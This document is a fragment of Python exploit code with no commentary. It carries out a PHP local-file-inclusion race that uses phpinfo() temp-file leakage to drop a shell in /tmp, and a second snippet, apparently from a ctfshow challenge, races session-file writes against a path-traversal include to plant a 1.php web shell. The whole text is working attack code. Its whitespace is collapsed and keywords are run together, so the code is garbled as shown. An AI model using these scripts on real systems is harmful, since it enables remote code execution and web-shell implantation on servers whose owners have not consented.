s.send(phpinforeq) d = "" whilelen(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: returnNone
s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close()
if d.find(tag) != -1: return fn
counter=0 classThreadWorker(threading.Thread): def__init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args
defrun(self): global counter whilenot self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1
try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print"\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return
defgetOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" whileTrue: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print"found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256
defmain(): print"LFI With PHPInfo()" print"-=" * 30
maxattempts = 1000 e = threading.Event() l = threading.Lock()
print"Spawning worker pool (%d)..." % poolsz sys.stdout.flush()
tp = [] for i inrange(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp: t.start() try: whilenot e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print"Woot! \m/" else: print":(" except KeyboardInterrupt: print"\nTelling threads to shutdown..." e.set() print"Shuttin' down..." for t in tp: t.join()
defwrite(): whileTrue: r = session.post(url,data=data1,files=file,cookies=cookies) defread(): whileTrue: r = session.get(url+"?file=../../../../../../../tmp/sess_ctfshow") if'success'in r.text: print("shell 地址为:"+url+"1.php") exit() threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()